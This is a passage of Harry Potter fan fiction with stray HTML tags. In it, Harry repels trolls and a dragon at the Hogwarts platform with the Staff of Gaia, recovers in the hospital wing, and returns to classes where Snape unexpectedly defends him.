most talking and cheerily greeting old friends. </p>\n\n<p>\n\n</p><p> A sudden wind whipped at his face, and a chill went through him. He looked at the sky, to see how dark it was becoming. He felt the need to be in Hogwarts castle, safe and protected, sitting next to the fire in the common room, in one of the old and worn chairs. He felt the need for warmth that could not be provided out side on the platform. A cold feeling ran up through his spine, making him shiver involuntarily. The safety he had been feeling upon his first step on to the platform was fast disappearing, to be replaced by a cold sense of dread. A flicker of a green, deeper than that of the forest, over the tops of the tree line, caught Harry\'s attention. He had the strangest feeling that they were being watched. He stopped to look at the trees. </p>\n\n<p>\n\n</p><p> Once again, there was a flicker of green, only now it seemed that it was attached to something very large, and it\'s movement made the ground tremor slightly. </p>\n\n<p>\n\n</p><p> The chatter on the platform was falling quiet; Harry could feel the eyes of the students behind him lingering on the forest. The earth trembled. And then again. And again. Until it became a beat recognisable as heavy footsteps. The air around them seemed to become as thick and heavy as smog, inhospitable and menacing. The wind was harsh, and seemed to scratch and bruise his exposed skin, getting into the old cuts, and settling a cold chill into them. There was an uneasy shifting from students, caught between their desire to see what was going on and their need to escape to the relative safety of the castle. But within seconds, that decision was made for them. Harry looked back over his shoulder briefly, glimpsing Hagrid\'s hulking form wading back through the crowd, towards him. </p>\n\n<p>\n\n</p><p> There was a loud screeching noise, like an animal in pain, followed by a distinct cracking. The forest was moving. </p>\n\n<p>\n\n</p><p> An ancient monster of a tree, perhaps thirty feet tall, was falling, falling from it\'s once tall and proud stance overlooking the Hogwarts platform. The sound of tearing and screaming, as the ancient trees sheer weight pulled and ripped its own roots out of the ground, anchored there for as long as anyone could remember. And this tree was falling towards them. </p>\n\n<p>\n\n</p><p> There were loud screams as the students realised this, and began stampeding to get away, but the tree was falling too fast, Harry could hear the whistling sound it made as it fell through the air towards him. It was so close he could almost smell the pine. And then it was falling still, but it was as though a huge gust of wind had picked it up, and was throwing it away slightly. And instead of falling onto him, as the ancient tree should have done, it fell about ten feet further away. Directly on to the Hogwarts Express, the sound of twisting metal, shattering glass and splintering of wood filled the air. </p>\n\n<p>\n\n</p><p> The students on the platform, seeming to think that the worst was over, moved with curiosity, back towards the mangled remains of the first carriage of the Express. And then the tremors came again. </p>\n\n<p>\n\n</p><p> Only now, there could be heard the sound of something breathing. Something very large. Something that was moving closer to them. It caused the trees in front of it to bend as it brushed passed them. So all that the students could see, was an ancient forest leaning menacingly over them. </p>\n\n<p>\n\n</p><p> Everyone on the platform stood still, except for Hagrid, and the sound of Moody\'s wooden leg, clonking nervously on the ground. Hagrid had just gotten through the throng of students, and was making his way to Harry\'s side, when it fell deathly still, there was no sound, save for the wind whistling softly past their ears. The forest had become still, quiet, but too quiet. There was no sound coming from it at all, as if there was nothing alive in there anymore. </p>\n\n<p>\n\n</p><p> There was a sudden flurry of movement from within the trees, so quick, Harry barely had time to register that it was moving towards the platform and the students. And out from the trees, a huge, dark green dragon, moved onto the platform, almost crushing several terrified students beneath it\'s massive feet. </p>\n\n<p>\n\n</p><p> Six trolls burst out from the cover of the forest, to the very end of the platform, near Harry, and just before the crushed Express. Screams were being emitted from various students, as they realised that they were being penned into one direction, they could only move towards Hogwarts. But panic gripped them all, and they began moving almost at once, in every direction. </p>\n\n<p>\n\n</p><p> Harry could feel hands on him, tugging at him desperately as the trolls began to move towards him. But he could not move. He was rooted to the ground, aware of very little, except for the growing feeling of energy in his solar plexus. The energy was becoming stronger, and began to creep out from his stomach to every part of him, flooding his senses like pins and needles all over. Then the dragon reared, and a stream of fire was emitted from it\'s mouth like a warning. The trolls, though immensely stupid, were wielding their clubs with considerable force, smashing at the trees of the forest, and the other carriages of the Hogwarts Express with complete malice. The troll in front, clearly their leader, tugged at a large piece of parchment, which was tucked into his trousers, and opened it up, still smashing at a window on the train. He looked at whatever was on it, propped his club up against the side of the train, scratched his head, and grunted, and looked out across the panicking students, it\'s eyes narrowed when he looked at Harry, squinting, from it\'s bad eyesight, grabbed it\'s club, and jabbed it towards Harry, grunting as he did so. The other trolls looked up, at the parchment, then at Harry, and then back again. The lead troll suddenly looked very determined, threw down its parchment, on which was a crude drawing, of a cartoonish face with messy dark hair, and a lightening bolt scar. Apparently, the troll now knew who Harry was, and was coming for him. </p>\n\n<p>\n\n</p><p> &quot;Harry, move.&quot; </p>\n\n<p>\n\n</p><p> Someone was trying to pull him again. But the roots that kept him weighed to the earth, seemed to have more strength than those of the ancient tree that had been felled earlier. </p>\n\n<p>\n\n</p><p> The buzzing energy in his solar plexus, became a roar, mixing with the loud sounds all around, deafening him, and everything became quiet, Harry no longer heard what was happening before him, and he knew. Harry knew what he had to do. </p>\n\n<p>\n\n</p><p> He held out his hand, and looked to the point in which he could find what he needed. </p>\n\n<p>\n\n</p><p> The Staff of Gaia flew out of its magical case, as though it wasn\'t even there. A startled Moody, looked back at him. </p>\n\n<p>\n\n</p><p> The Staff, a few feet away, began to emit its familiar blue sparks, and then, </p>\n\n<p>\n\n</p><p> CRACK! </p>\n\n<p>\n\n</p><p> Harry held the Staff in his hand, brilliant white light being emitted from it. There was screaming, he could hear screaming, but the roar of wind surrounding him, blocked it out. Knowledge began to pool in his veins once again, and something deeper than an aching desire for a person or revenge, overtook him. </p>\n\n<p>\n\n</p><p> And it was with nothing more than this strange knowledge and an instinct deeper than he\'d ever known, that Harry charged at six mountain trolls, and a large green dragon. </p>\n\n<p>\n\n</p><p> Harry was no longer thinking, but acting purely on instinct, every movement he made came completely naturally, from the moment he jerked his hand, sending the Staff upwards, to the moment when he gripped his hand again, his fist closing around the base of the wooden Staff. </p>\n\n<p>\n\n</p><p> And then he swung. </p>\n\n<p>\n\n</p><p> Not so much as to hit the creatures, but simply swung, and three trolls, a few feet away from the tip of the Staff, were thrown high into the air and out of sight through the clouds. Struck by some invisible force. </p>\n\n<p>\n\n</p><p> The dragon nearby forgot the panicking students, and moved quickly towards Harry, its red eyes glinting as the fire it breathed at him reflected in them. </p>\n\n<p>\n\n</p><p> A roaring sound, like thunder, and drops of rain on Harry\'s skin, told him that there was a storm in the air, one that was blowing the fire away from him. The remaining trolls were also moving towards him, taking advantage of his distraction by the dragon. </p>\n\n<p>\n\n</p><p> Harry wasn\'t quick enough. </p>\n\n<p>\n\n</p><p> Before he\'d even had time to think of anything other than rendering the dragon\'s fire useless, Harry felt his body being slammed into, and being thrown high up, at least fifty feet into the air. </p>\n\n<p>\n\n</p><p> He fell, on an almost vertical path, back down into the clearing between the dragon and trolls. And he was still. He didn\'t move, he laid there, on the wet and cold concrete, barely aware of anything, other than the fact he should be dead, or at least in some pain. He could feel the presence of the lumbering trolls bearing down over his still form. Something less than gently prodded his side, as one of the troll\'s poked the apparently dead boy with their club. </p>\n\n<p>\n\n</p><p> An instinct came back upon him, he had to protect her. </p>\n\n<p>\n\n</p><p> He leapt from the ground, as though he had only been sunbathing, the Staff flew back into his open palm, and he ran back towards the trolls, and this time, he actually swung the club right at them. Two of them were thrown high into the air, and out of sight. But, unfortunately for the third, the staff made contact. </p>\n\n<p>\n\n</p><p> The troll leader howled in pain, as the staff became embedded in its side, drawing thick clumps of a greenish-grey fluid, it\'s blood. Light from the staff began to consume it, surrounding its entire being, and all but blinding those who watched the spectacle. The troll became completely enveloped in the light, and then, as suddenly as it had begun. It ended. </p>\n\n<p>\n\n</p><p> The troll had disappeared, nothing but a chalky residue on the ground were the troll had stood. </p>\n\n<p>\n\n</p><p> There was a crackle from the staff, Harry, though still acting on instinct, was faintly aware that his energy was almost spent. </p>\n\n<p>\n\n</p><p> The dragon moved towards him. Red eyes flickering with a power far more subtle, than Harry\'s own. But something in those eyes caught his attention. Pain, and anger. </p>\n\n<p>\n\n</p><p> There was a snapping sound, and then that of lightening striking, as the world around Harry changed, changed into that of light and raw magic. The colours and lights, flowed and ebbed around him. But Harry saw a magic surrounding the dragon, that should not have been there. It was dark and closed itself around the dragon\'s heart and mind, suffocating them. With what little was left within him, Harry found that once again, the coloured lights, snapped, and began to flow through him. His hand grew hot, burning with power and light, he let it go in the dragon\'s direction. </p>\n\n<p>\n\n</p><p> The darkness was lifted, and a shadow of evil drifted away from it, and then away from the Hogwarts platform. </p>\n\n<p>\n\n</p><p> The dragon shook its head as though waking from a dream. The lights of the real magical world, disappeared. To be replaced with the darkness on the platform. The dragon\'s eyes were now a golden yellow. It did what was unmistakably a bow, then it backed away slowly, before it spread it\'s wings and flew into the clouds. The storm was subsiding. The once harsh wind, became nothing more than a gentle breeze that tickled his face. Light from the sun began to poke through the darkness. </p>\n\n<p>\n\n</p><p> Harry thought only one thing. </p>\n\n<p>\n\n</p><p> *God I\'m tired* </p>\n\n<p>\n\n</p><p> Before he blacked out, being caught in Hagrid\'s strong arms. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Waking up in Hogwarts hospital wing, had to rate as one of Harry\'s least favourite pastimes. Somewhere between Potions with Snape, and a \'polite\' dinner with Aunt Marge. </p>\n\n<p>\n\n</p><p> He wiggled his toes, to make sure that they still worked, and to check that they were still there. He felt a little numb, and so began to move his legs, only to discover that there was something across one of them, pinning it down. </p>\n\n<p>\n\n</p><p> Opening his eyes, wincing slightly in the light, and turning his head, he saw something quite beautiful. </p>\n\n<p>\n\n</p><p> Hermione\'s head rested upon her arms, like a pillow, and was sleeping peacefully. There were small, dark patches beneath her eyes, that suggested sleep, wasn\'t something she\'d had much of recently. </p>\n\n<p>\n\n</p><p> Harry felt content enough to let her sleep, watching as her eyelids fluttered slightly, and her shoulders raising a little as she breathed. Sunlight shone through the windows, a warm golden glow picked out the warm hues of Hermione\'s hair, and lit up her face, she looked almost angelic. </p>\n\n<p>\n\n</p><p> Harry watched her sleeping, her peace seemed to bring him some peace of mind too, made him a feel calmness, that he felt he had not had in some time. For about half an hour, he continued to watch over her, in a strange way, he felt that he was repaying her for doing the same thing. </p>\n\n<p>\n\n</p><p> Then Madam Pomfrey came into the room, and gave what was unmistakeably a squeal of delight, when she saw that he was awake. This woke Hermione with a jolt. Harry felt strangely disappointed, at her leaving her slumbering appearance behind. </p>\n\n<p>\n\n</p><p> &quot;Oh Harry, your awake!&quot; </p>\n\n<p>\n\n</p><p> &quot;Of course I am, you didn\'t expect me to sleep all day did you?&quot; </p>\n\n<p>\n\n</p><p> This was meant as a joke, but Hermione\'s face, smiling so brilliantly at him only a moment ago fell. </p>\n\n<p>\n\n</p><p> &quot;Mr Potter, I\'m afraid you\'ve been asleep for more than a day.&quot; </p>\n\n<p>\n\n</p><p> &quot;Oh? How long?&quot; </p>\n\n<p>\n\n</p><p> &quot;Harry, you\'ve been asleep for more than two weeks!&quot; </p>\n\n<p>\n\n</p><p> &quot;Comatose actually Mr Potter. Albus wasn\'t very pleased that you\'d used the Staff again, and so publicly.&quot; </p>\n\n<p>\n\n</p><p> &quot;But...but I had too.&quot; </p>\n\n<p>\n\n</p><p> &quot;Well that may be so, but didn\'t I tell you that using the Staff again too soon after the last time, might mean that you would never wake up?&quot; </p>\n\n<p>\n\n</p><p> Harry nodded solemnly. It wasn\'t like he had much of a choice when it came to using the Staff, it just happened. And now Dumbledore was mad at him. Harry couldn\'t really imagine anything worse. But he\'d had to do it, or half the student population would have been either pureed or fast-roasted. </p>\n\n<p>\n\n</p><p> &quot;Now dear, eat this, and I\'ll fetch the headmaster.&quot; </p>\n\n<p>\n\n</p><p> Madam Pomfrey handed him a slab of chocolate about an inch thick, and the size of A4 paper, and bustled away through the double doors. </p>\n\n<p>\n\n</p><p> Harry looked down at the chocolate. </p>\n\n<p>\n\n</p><p> &quot;Help me with this?&quot; </p>\n\n<p>\n\n</p><p> Harry said, giving Hermione the most pathetically pleading look he could muster, Dudley being his inspiration. She smiled, and then with an not inconsiderable amount of effort, managed to snap off a small corner of the chocolate slab. He frowned a little, he still had a big slab in front of him. </p>\n\n<p>\n\n</p><p> &quot;And if your really good, I might take some more of it.&quot; she teased. </p>\n\n<p>\n\n</p><p> A few minutes passed in comfortable silence, eating vast amounts of chocolate, being a good enough reason not to talk. But something occurred to Harry, and he thought he should ask her about it, while they were still alone. </p>\n\n<p>\n\n</p><p> &quot;Err ... Hermione ... you didn\'t ... err... you didn\'t see anymore of my memories did you? Only I can\'t remember having any memory flashes this time, so... you know ... you shouldn\'t have either. I mean, you didn\'t ...did you?&quot; </p>\n\n<p>\n\n</p><p> Hermione looked at him, a slight flush in her cheeks. </p>\n\n<p>\n\n</p><p> &quot;I didn\'t see any of your memories Harry.&quot; </p>\n\n<p>\n\n</p><p> Harry\'s face beamed in relief at this. </p>\n\n<p>\n\n</p><p> Hermione didn\'t have the heart to tell him, that this time she\'d felt his emotions and heard his thoughts, or rather, a burst of feelings and then a scary lack of conscious thoughts, as he\'d run off to face the dragon and trolls. </p>\n\n<p>\n\n</p><p> Somehow though, she\'d been able to feel his instincts, and when one had been strong enough, that it caused the conscious thought to \'protect her\', she hadn\'t known what to think. </p>\n\n<p>\n\n</p><p> For all Hermione knew, \'her\' could have been Cho Chang, she had noticed that Harry seemed to have somewhat of a crush on the attractive Ravenclaw seeker since their 3rd year. \'Her\' could well have been Ginny, but to that extent, it could have been Pansy Parkinson or Professor McGonnagoll. </p>\n\n<p>\n\n</p><p> But really, Hermione hoped, as she hadn\'t realised until that moment that she needed to be \'her\'. But of course, what chance was there that Harry saw her as anything other than a friend? </p>\n\n<p>\n\n</p><p> She sighed a little, she was much better off trying to stick with someone more attainable. Ron was a sweetheart, and she couldn\'t imagine him ever hurting her, and he was certainly becoming more handsome as he got older, maybe, just maybe, Ron was the one for her. </p>\n\n<p>\n\n</p><p> Considering what had been going on lately with Harry, Hermione knew that she\'d be a lot safer with Ron, that was of course, providing that they ever managed to pluck up the courage to actually ask each other. </p>\n\n<p>\n\n</p><p> Finally Madam Pomfrey and a very stern-looking Dumbledore arrived. </p>\n\n<p>\n\n</p><p> Harry who had been about to ask Hermione why she was staring at him, shuffled under the headmasters gaze, and looked down at his bed sheets. </p>\n\n<p>\n\n</p><p> He sensed Dumbledore had shifted to the side of his bed. Harry didn\'t dare look up. And then after a few moments, onto the sheets, which had become quite fascinating, plopped a box of Bertie Bott\'s every flavour beans. </p>\n\n<p>\n\n</p><p> Harry glanced up at Dumbledore with something akin to shock. The faintest of smiles, was visible, tugging at the corners of the old wizards lips. </p>\n\n<p>\n\n</p><p> &quot;Well done Mr Potter. For a lot of nerve, and some sheer stupidity. I trust that you won\'t be making anymore attempts to use to Staff without supervision next time, hmm?&quot; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Madam Pomfrey kept Harry in the hospital wing for another week. Though there was always someone coming to visit, usually Ron, Hermione or Hagrid. Who once snuck Fang in for a visit, before Madam Pomfrey found him and shooed the both of them outside for breaking the rules about pets. Though Harry suspected it was because Madam Pomfrey knew as well as anyone else, that Hagrid\'s version of well-trained, meant that the animal hadn\'t killed or maimed anyone in the last six months. </p>\n\n<p>\n\n</p><p> Some of Harry\'s visitors were less welcome however. Some of Harry\'s teachers dropped by to give him homework, two weeks of catch-up work, wasn\'t something he would be eternally grateful for. Though some teachers, like Snape, sent work to him with students. Snape sent a particularly terrified-looking first year, who squeaked when Harry thanked him, and bolted out the door. </p>\n\n<p>\n\n</p><p> But last night, Harry had finally been allowed to return to his own bed in the Gryffindor tower. To his relief, the other fifth year boys that Harry shared a dormitory with, made no comments about what had happened, instead focusing on a \'welcome back from the hospital wing, again\' party. Ron mentioned that Dumbledore had addressed the whole school at breakfast that morning, and basically told them not to pester Harry, with questions he couldn\'t answer. Something which Harry was eternally grateful for. </p>\n\n<p>\n\n</p><p> Of course it didn\'t stop the trepidation he felt when he awoke the next morning, preparing to go to the Great Hall and share breakfast with all the other students, the first time since the final day of term at the end of his forth year. </p>\n\n<p>\n\n</p><p> Ron had nudged him awake, ten minutes before breakfast was due to start. Harry scolded Ron for not waking him earlier, it wasn\'t as if his internal clock was working anymore. He rushed to brush his teeth, clean his face, get dressed and make some half-hearted effort to put a comb through his hair, but to no avail. He knew that they\'d be some of the last into the hall this morning. </p>\n\n<p>\n\n</p><p> He glanced briefly at his reflection in the mirror. The bruises from his time with Uncle Vernon, were barely visible now, only a slight reddening on his face. Unfortunately they had been replaced with one large bruise that ran parallel with his scar, down one corner of his right eye and ended just below his cheek bone. It hurt a lot, considering he\'d gotten it three weeks ago. </p>\n\n<p>\n\n</p><p> *Well it could have been worse, not everyone can survive being hit fifty feet into the air, with a club the size of a Volvo.* </p>\n\n<p>\n\n</p><p> Running out of Gryffindor tower with Ron, they discovered that they were indeed the last, and that the doors to the Great Hall had already been closed. </p>\n\n<p>\n\n</p><p> &quot;Oh great.&quot; muttered Ron, as he started to heave one of the doors open. Harry helped him, and with some effort the door finally opened. </p>\n\n<p>\n\n</p><p> &quot;Ah Mr Potter, Mr Weasley, sleep in again?&quot; </p>\n\n<p>\n\n</p><p> An amused tone rang in Dumbledore\'s voice, as Harry and Ron walked quickly to their seats. Harry tried to ignore the fact that the eyes of everyone, student and teacher alike were following him to his seat. </p>\n\n<p>\n\n</p><p> He sat next to Hermione, quickly glad of her company, when she gave his hand a quick squeeze under the table. </p>\n\n<p>\n\n</p><p> Dumbledore gave the rest of his speech, something about the third floor being out-of-bounds again, only this time Moaning Myrtle deliberately flooding the boys toilets, was the reason. Madam Hooch wanted to know who thought it had been funny to enchant some of the school brooms to hover just outside the window of the Prefects bathroom. Which was everyone apparently, given the sniggering. And then. </p>\n\n<p>\n\n</p><p> &quot;I regret to inform you that last night Professor Trelawney handed in her notice of early retirement, and will be leaving us at the end of the week.&quot; Dumbledore looked across the teachers table to where Harry had only just noticed Trelawney was sitting. She suddenly straightened herself up, and gave the students a sad smile, as if she was expecting everyone to burst into tears, just because Lavender and Patti had. Of course when she saw Harry looking at her, she gave him one of those looks she reserved for his impending death. This time it was a hand to the heart and a quick intake of breath, he heard Ron groan across from him, and turned to see him rolling his eyes. </p>\n\n<p>\n\n</p><p> &quot;Now I\'m sure I speak for everyone here, when I say just how much we will miss our dear Divinations Professor, and how difficult it will be to replace her, Sybill, my dear, your lessons have always been ... unique.&quot; </p>\n\n<p>\n\n</p><p> Dumbledore turned his attention back to the watching students. </p>\n\n<p>\n\n</p><p> &quot;This means of course, that those of you taking Divination, will have some free lessons until the Professors replacement arrives, which may be some time. People of Professor Trelawney\'s ... talent, are rare to come by, but rest assured you will have a new teacher at the very least by next year. The library will be open for those of you wishing to study, if not come to Professor McGonagall, and she will find you something constructive to do. Though some of you ...&quot; he paused and looked straight at Harry, &quot;... will be making better use of their time.&quot; </p>\n\n<p>\n\n</p><p> Harry was left to ponder what he was going to make better use of his time with. </p>\n\n<p>\n\n</p><p> &quot;All right!&quot; Ron muttered beside him. </p>\n\n<p>\n\n</p><p> &quot;Free lesson!&quot; </p>\n\n<p>\n\n</p><p> With any luck, the next Divinations teacher, would leave him alone, and stop predicting his death. Dumbledore clapped his hands, and as usual, the tables lined themselves with bacon, kippers, sausages, cereals, and every kind of cooked egg. </p>\n\n<p>\n\n</p><p> Halfway through breakfast, before the Owl post arrived, Harry glanced up, and saw Draco Malfoy in a conference, with his equally detestable Slytherin buddies. </p>\n\n<p>\n\n</p><p> *Probably plotting the downfall of the Gryffindors again.* </p>\n\n<p>\n\n</p><p> At that moment, Draco just happened to look in Harry\'s direction, to see Harry looking at him. And the group of Slytherin\'s looked too. Draco picked up his fork, held it aloft, and then proceeded to pretend to pass out. The Slytherin\'s around him laughed mercilessly. A few of them pointed at Harry every now and then, though he tried to pretend he was no longer watching, and said something that would have them all in hysterics again. </p>\n\n<p>\n\n</p><p> &quot;Oh get a new act!&quot; </p>\n\n<p>\n\n</p><p> Apparently Hermione had chosen to look up just as Draco did his little fork-as-Staff swooning impression. </p>\n\n<p>\n\n</p><p> &quot;Ignore him Harry. The Slytherin\'s were panicking more than a bunch of first-year Gryffindors in Snape\'s class for the first time. None of them would have thought about running up to six mountain trolls and dragon, to beat them off.&quot; </p>\n\n<p>\n\n</p><p> Harry smiled, recently, Hermione always knew just how to cheer him up, of course Ron did it in slightly less style. </p>\n\n<p>\n\n</p><p> &quot;Too bloody right! The Slytherin\'s were pissing themselves!&quot; </p>\n\n<p>\n\n</p><p> Then Owl post arrived. As with most days, Harry wasn\'t expecting anything, whilst other students got packages from home. So he was a little surprised when Hedwig flew down, looking a lot plumper than when he\'d last seen her three weeks ago. She dropped off a small, purple, velvet, drawstring bag with a letter attached to it, with the writing on the outside in familiar Hogwarts green. Hedwig stayed back a few minutes longer than most of the owls, as Harry stroked her, and fed her some toast. She looked as happy as he\'d ever seen her, her normal slightly stuffy attitude was replaced by an open affection. Finally she gave him a quick nip on the ear, and took off. </p>\n\n<p>\n\n</p><p> &quot;What d\'ya think it is Harry?&quot; Ron enquired through a mouth full of sausage sandwich. </p>\n\n<p>\n\n</p><p> &quot;Haven\'t a clue.&quot; </p>\n\n<p>\n\n</p><p> Harry opened the envelope, and pulled out a short, hand-written letter, in green Hogwarts ink. </p>\n\n<p>\n\n</p><p> *Dear Mr Potter, </p>\n\n<p>\n\n</p><p> Your final lesson today would have been Double Divination. As Prof. Trelawney will be leaving at the end of the week, and as you have already missed the majority of her lessons, it has been decided that you need not attend the remainder of these lessons.* </p>\n\n<p>\n\n</p><p> Harry let out a silent \'YES!\' at this. </p>\n\n<p>\n\n</p><p> *Instead you will be required to attend the first of your new lessons to train you in the history and practicalities of using the Staff of Gaia. </p>\n\n<p>\n\n</p><p> Your teachers will include Profs. Moody and Lupin, as well as myself. Please stay behind in the Great Hall after lunch today. </p>\n\n<p>\n\n</p><p> Albus Dumbledore </p>\n\n<p>\n\n</p><p> (Headmaster)* </p>\n\n<p>\n\n</p><p> Lupin? As in Remus Lupin? That was almost too good to be true. </p>\n\n<p>\n\n</p><p> Harry immediately shared the news with Hermione and Ron. </p>\n\n<p>\n\n</p><p> &quot;That\'s great, he must be the Dark Art\'s Co-teacher Moody was on about. We haven\'t actually met him yet.&quot; Ron said enthusiastically. </p>\n\n<p>\n\n</p><p> &quot;Well it does make sense, doesn\'t it? Professor Moody can take over whenever Lupin is ... indisposed. And there are probably things that he can tell us about that Moody might not. This will be great, the knowledge of the Dark Arts that both of them have, will more than make up for the first two years.&quot; </p>\n\n<p>\n\n</p><p> Hermione added </p>\n\n<p>\n\n</p><p> Harry smiled. Trust Hermione to be happy when there was even more to be learned. </p>\n\n<p>\n\n</p><p> &quot;I wonder what they can actually teach you about the Staff then? I mean there\'s only supposed to be another two wizards in the entire world who can actually use staffs.&quot; </p>\n\n<p>\n\n</p><p> &quot;Well, I suppose that they can only teach Harry the history of the Staff itself Ron. I guess that they hope it might give a better understanding of how it works. I mean 10,000 years is a lot of history isn\'t it? And there\'s got to be a way of using it, without risking falling into a coma every time you use it.&quot; </p>\n\n<p>\n\n</p><p> &quot;I suppose.&quot; Harry said a little numbly. </p>\n\n<p>\n\n</p><p> 10,000 years? Strange. Whenever Harry had held it, even when he was simply near it, the Staff had always felt, well ... older. </p>\n\n<p>\n\n</p><p> He wondered where it was now. Dumbledore\'s office he supposed. He hoped to God that it wasn\'t with Filch. The nasty old care taker of Hogwart\'s, would probably let his cat, Mrs Norris, use it as a scratching post. </p>\n\n<p>\n\n</p><p> *God I hope its safe.* </p>\n\n<p>\n\n</p><p> But a small voice at the back of his mind, told him not to be so stupid, because the Staff was safe, and that Harry should know it is, because he could feel it\'s presence anyway. </p>\n\n<p>\n\n</p><p> Some students had finished eating now, and were starting to leave, and it occurred to Harry, that he didn\'t even know what his first lesson was. </p>\n\n<p>\n\n</p><p> &quot;Ron, what do we have first lesson?&quot; </p>\n\n<p>\n\n</p><p> Ron looked a little pale. </p>\n\n<p>\n\n</p><p> &quot;Oh sorry mate, we\'ve got double potions.&quot; </p>\n\n<p>\n\n</p><p> Harry groaned. This well could be a very long day, and it was sure to be even longer. Alicia Spinnet had caught him just before he left the hall, and asked him if he felt up to a little Quidditch practice. Harry really wished he hadn\'t been so quick to say \'yes\' now. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> The former dungeons, in which Snape\'s lessons were held, still looked like they hadn\'t been cleaned for a few decades. In fact, if it weren\'t for the workbenches and cauldrons, you could almost expect to see students being hung by their toes from the ceiling, with a few well-aimed curses heading in their direction. </p>\n\n<p>\n\n</p><p> Harry\'s mind seemed to cast Neville Longbottom as one of the unfortunate students. His pet toad, Trevor, strung up beside him. </p>\n\n<p>\n\n</p><p> Harry sat between Hermione and Ron, and got ready. Snape blasted in as usual, practically taking the door off its ancient hinges. He looked around, clearly disappointed that all the Gryffindor\'s had made it in before him, and he couldn\'t take points off for being two seconds late. </p>\n\n<p>\n\n</p><p> Snape\'s gaze lingered on Harry for a moment longer than normal. And instead of the usual complete loathing, Harry thought that he could see something else in Snape\'s eyes. It looked almost like ... respect? Tinged with a healthy amount of fear. </p>\n\n<p>\n\n</p><p> *Well, that was unexpected. Being able to use this Staff thingy might be kinda helpful.* </p>\n\n<p>\n\n</p><p> The potions lesson that followed was pretty much normal, Snape was still barking orders faster than the students could write them down, and then shouting at them for not making the potions quick enough at the same time. He was taking as many points from Gryffindor (Neville) as he could, whilst giving them out threefold to Slytherin (Malfoy). He even seemed to recover his natural feelings for Harry, and managed to take two points from him, for not keeping his work place clean enough. </p>\n\n<p>\n\n</p><p> But fifteen minutes before the lesson ended, something happened that did get everyone\'s attention. </p>\n\n<p>\n\n</p><p> Draco Malfoy, at the centre of the Slytherin\'s was making a few choice comments about Harry, at a non-to-subtle volume level. </p>\n\n<p>\n\n</p><p> &quot;I mean, if Potter can use the Staff, we could probably train a monkey to use it.&quot; </p>\n\n<p>\n\n</p><p> &quot;If a flubberworm turned up in Moaning Myrtles toilet, he\'d probably go and attack that too!&quot; </p>\n\n<p>\n\n</p><p> All the while he had the Slytherin\'s in hysterics, drawing nasty glares from every Gryffindor, Draco\'s cauldron had begun to overflow. Normally this wouldn\'t be a concern for the over-confident Slytherin. Snape would find some feeble reason to blame a Gryffindor, and make them clean it up, But today, Snape had been standing in the shadows of the room, a mask of cold indifference on his face, before he had began moving, creeping very quietly forward. When Malfoy turned around, after a slightly more vile comment, he grinned as he saw Snape stood beside him, clearly expecting some form of praise, or a new comment from his mentor-in-insults. But ever so quietly, Snape began to speak. He spoke in that way that so frequently silenced an entire class of students, a voice that reflected a silent power, that required no real vocal flexing, in shouting, as some needed too. </p>\n\n<p>\n\n</p><p> &quot;Mr Malfoy, I believe that your cauldron is over-flowing.&quot; </p>\n\n<p>\n\n</p><p> Malfoy was still grinning at this point, clearly thinking Snape was about to make someone else clean it up. </p>\n\n<p>\n\n</p><p> &quot;I do believe that that warrants 10 points ... to be taken from Slytherin for carelessness.&quot; </p>\n\n<p>\n\n</p><p> Now Malfoy and every student just looked upon Snape with a mixture of shock and confusion. </p>\n\n<p>\n\n</p><p> &quot;Perhaps if you weren\'t so busy making insulting comments about your fellow students, you might not be failing in your studies, I\'ve seen more talent in a muggle Mr Malfoy. </p>\n\n<p>\n\n</p><p> If I ever hear you insulting the Staff of Gaia, or the one who has the power to wield it, a power a miserable squib like yourself cannot even begin to fathom, I will personally see to it that your thrown out of Hogwarts, and that your mislead father is told that for such a high and mighty pureblood family, his own son has three times less talent than Miss Granger, a muggle born. Do you understand me Mr Malfoy?&quot; Snape\'s voice had become a hiss. </p>\n\n<p>\n\n</p><p> The entire class fell silent, some stared at Malfoy, who looked like he was struggling not to start crying, and the rest stared at Harry, with even more awe on their expressions than had been there that morning. </p>\n\n<p>\n\n</p><p> Had Snape really just given such a scathing rebuke to one of his own students. And defended so ardently the one student that he was widely known to hate the most? In that moment, the first of many to come. People began to realise that the Staff, and Harry, may be even more important, than anyone could have ever have imagined. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> &quot;Well .... that was weird.&quot; Ron managed to say, between mouthfuls of chicken legs. </p>\n\n<p>\n\n</p><p> &quot;Your telling me.&quot; Harry replied. Hermione just looked worried. </p>\n\n<p>\n\n</p><p> &quot;What\'s wrong Herm?&quot; </p>\n\n<p>\n\n</p><p> &quot;It\'s just that, well, I don\'t understand why their giving you a Staff lesson, a day after you\'ve been let out of the hospital wing, for being put into a two week coma the last time you used it. I mean, I really don\'t want to have to watch you sleeping for another month, if it happens again.&quot; </p>\n\n<p>\n\n</p><p> &quot;It\'s alright Hermione. You don\'t have to watch!&quot; </p>\n\n<p>\n\n</p><p> She smiled a little and then punched him lightly on his arm. </p>\n\n<p>\n\n</p><p> &quot;You know that\'s not what I meant.&quot; </p>\n\n<p>\n\n</p><p> &quot;I know, I\'m sorry. But I don\'t think that they would do this without a good reason.&quot; </p>\n\n<p>\n\n</p><p> &quot;Harry\'s right Herm. You don\'t really think \'ol Dumbledore\'s gonna let Harry fall into a coma again do you? I\'ll bet that their just gonna give him a really long, really boring history lessons, like Professor Binn\'s class. Only difference being, that as he\'ll be the only one there, it\'ll be harder to fall asleep inconspicuously.&quot; </p>\n\n<p>\n\n</p><p> Harry kicked Ron\'s shin under the table, causing him to spit out half a chicken leg, and a couple of green things that might have been peas. </p>\n\n<p>\n\n</p><p> As Ron rubbed his sore leg, Harry took a closer look at the little green things, pretending to become engrossed at the sight of them. </p>\n\n<p>\n\n</p><p> &quot;My, my Ron, we are slipping up aren\'t we?&quot; </p>\n\n<p>\n\n</p><p> &quot;Wad-da-ya mean?&quot; </p>\n\n<p>\n\n</p><p> &quot;Your eating vegetables.&quot; </p>\n\n<p>\n\n</p><p> Hermione snorted, and had to put a hand to her mouth, to stop herself spiting out her own dinner. </p>\n\n<p>\n\n</p><p> Harry saw his opportunity to test run a new joke the Weasley twins had told him at the Burrow. </p>\n\n<p>\n\n</p><p> Moving towards her so that he could tell it to her without anyone else hearing, she suddenly jerked away from him, and held her hand up in front of herself , like she was expecting him to start 